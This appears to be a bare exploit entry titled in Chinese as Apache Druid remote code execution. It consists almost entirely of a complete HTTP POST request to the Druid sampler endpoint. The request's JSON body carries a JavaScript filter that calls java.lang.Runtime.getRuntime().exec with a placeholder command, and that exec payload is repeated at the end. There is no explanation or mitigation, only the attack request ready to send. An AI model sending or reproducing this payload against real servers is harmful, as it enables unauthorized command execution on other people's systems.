Apache Druid 远程代码执行

http://x.x.x.x/

POST /druid/indexer/v1/sampler HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 1000Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indone构造法坦构造ien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('xxxx')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

{java.lang.Runtime.getRuntime().exec('xxx')}

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